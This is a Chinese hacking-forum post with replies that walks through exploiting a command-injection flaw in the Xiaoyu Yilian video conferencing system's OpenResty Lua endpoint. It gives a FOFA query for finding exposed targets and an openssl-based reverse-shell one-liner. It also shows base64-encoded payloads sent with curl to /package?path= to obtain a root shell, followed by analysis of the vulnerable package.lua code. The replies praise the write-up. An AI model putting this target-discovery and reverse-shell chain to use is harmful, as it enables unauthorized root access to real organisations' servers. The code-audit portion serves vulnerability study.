小鱼易连视频系统-Nginx LUA脚本远程命令执行
上来就fofa大法:[*]
title="云视讯管理平台"
https://www.ihonker.org/data/attachment/forum/202106/08/db9bab3360d0182c2ade57579a7e2e58.jpeg
找到页面了之后寻找该该系统的OpenReaty页面,一般都在其他端口上。
https://www.ihonker.org/data/attachment/forum/202106/08/8b9ed35444c3cf97ad7dbe11a64b0319.png
漏洞特征:通过访问/package?path=`Liunx命令`可直接构造远程代码执行。
漏洞原理:“小鱼易连视频会议系统”LUA脚本权限分配不当,导致任意用户可利用root权限执行命令
复现全过程:本地进行openssl监听:1、生成证书:
[*]
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes2、进行监听:
[*]
openssl s_server -quiet -key key.pem -cert cert.pem -port 4433、构造反弹shell命令
[*]
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <IP>:<;PORT> > /tmp/s; rm /tmp/s
[*]
[*]
命令解释:1.mkfifo是创建一个命名管道,创建好了以后/tmp/s内容是空的2.然后不断执行那个bash反弹的命令,连接的地址从步骤1的文件里取3.找那个443连接往步骤1里的文件写入内容,估计是ip和端口4.最后shell弹好了就删除步骤1的文件4、构造“package?path=”路径下命令执行语句,将上面反弹shell命令进行base64加密。
开始攻击:1、请求目机机器上执行命令有三种方法:
[*]
curl:curl "http://ip/package?path=`echo bWtmaWZvIC90bXAvczsvYmluL2Jhc2ggLWkgPCAvdG1wL3MgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMC42Mi45Ni4yMzY6ODg4ID4gL3RtcC9zO3JtIC1mIC90bXAvcw== | base64 -d | sh`"2、直接web上面请求:
[*]
http://ip/package?path=echo bWtmaWZvIC90bXAvczsvYmluL2Jhc2ggLWkgPCAvdG1wL3MgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMC42Mi45Ni4yMzY6ODg4ID4gL3RtcC9zO3JtIC1mIC90bXAvcw== | base64 -d | sh
3、burp抓包拦截请求,同web一样。
bp抓上面的请求会返回302,然后跳转404,不要慌,这时候去看你的监听服务器监听服务器返回shell,直接root权限https://www.ihonker.org/data/attachment/forum/202106/08/aa1a759b383364e1b55ec1f0750ab2b4.png
接下来详细分析:
找机器来验证,环境为docker,上机查看:
[*]
netstat -anvp | grep :80返回结果如下:
[*]
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 16554/nginx: mas运行在 80 端口的程序为 nginx,在宿主机中寻找 nginx 程序
[*]
find / -name nginx发现宿主机中没有运行 nginx
于是尝试进入 k8s 中的容器寻找响应服务
[*]
docker ps | grep openresty结果如下:
[*]
b61e91356e49 "/usr/local/openresty" 最终在 k8s 中的 openresty 容器中发现了 nginx 程序/usr/local/openresty/nginx,查询 nginx 配置文件,发现配置文件当中引用了一行 lua 脚本:
[*]
[*]
location = /package { proxy_set_header Host $host:$server_port; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Nginx-IP $server_addr; limit_req zone=normalfrequ burst=20 nodelay; content_by_lua_file lua/package.lua; }查询该文件并查看文件内容 cat /usr/local/openresty/nginx/lua/package.lua
[*]
[*]
local package_absolute_path = '/var/log/logs.tar.gz'local path = ngx.req.get_uri_args().pathif nil == path then path = '/logs'end
os.execute('rm -rf ' .. package_absolute_path)os.execute('tar -zcvPf ' .. package_absolute_path .. ' ' .. path)ngx.redirect('/log/logs.tar.gz?' .. os.time())print('rm -rf ' .. package_absolute_path)os.execute('rm -rf ' .. package_absolute_path)return仔细研究发现在配置文件中直接对path参数传入的字符串与rm -rf等命令进行拼接,没有进行文件白名单等过滤,攻击者可以通过构造特殊字符串对命令进行闭合,从而造成Linux命令注入,公网大多已修复后才进行爆出。谨记网络安全法,切勿用于非法用途
过来瞄几眼
Re: 小鱼易连视频系统-Nginx LUA脚本远程命令执行
感谢楼主这么详细地分享漏洞分析过程,从fofa搜索到具体复现,再到docker环境里的源码审计,一步步很清楚。那个`package.lua`直接拼接path参数到`os.execute`里确实太危险了,没有任何过滤就能投进系统命令,难怪能直接拿到root权限。这种OpenResty+LUA的接口如果没做好权限校验和参数白名单,很容易变成入口。也提醒自己以后审计类似场景时多留意`content_by_lua_file`调用的脚本逻辑。再次感谢楼主的技术干货,同时也提醒大家按网络安全法合规操作。Re: 小鱼易连视频系统-Nginx LUA脚本远程命令执行
感谢楼主分享这个漏洞细节,分析得很透彻。从fofa搜索到复现过程再到源码层面的分析,一步步很清晰,特别是那个lua脚本中直接拼接path参数导致命令注入的点,确实很典型。楼主还特意强调要遵守网络安全法,这点很重要。这个漏洞虽然公网可能已经修复,但对理解类似LUA脚本的安全问题很有参考价值。Re: 小鱼易连视频系统-Nginx LUA脚本远程命令执行
感谢楼主分享这个漏洞细节,分析得很清晰,从fofa搜索到复现全过程都有覆盖,特别是lua脚本中命令拼接的部分,确实很容易被忽略。这种未授权命令执行漏洞危害很大,提醒大家测试时一定要遵守网络安全法,不要用于非法用途。另外想请教一下,这个漏洞在docker环境里复现时,是否遇到过容器网络或权限方面的坑?
页:
[1]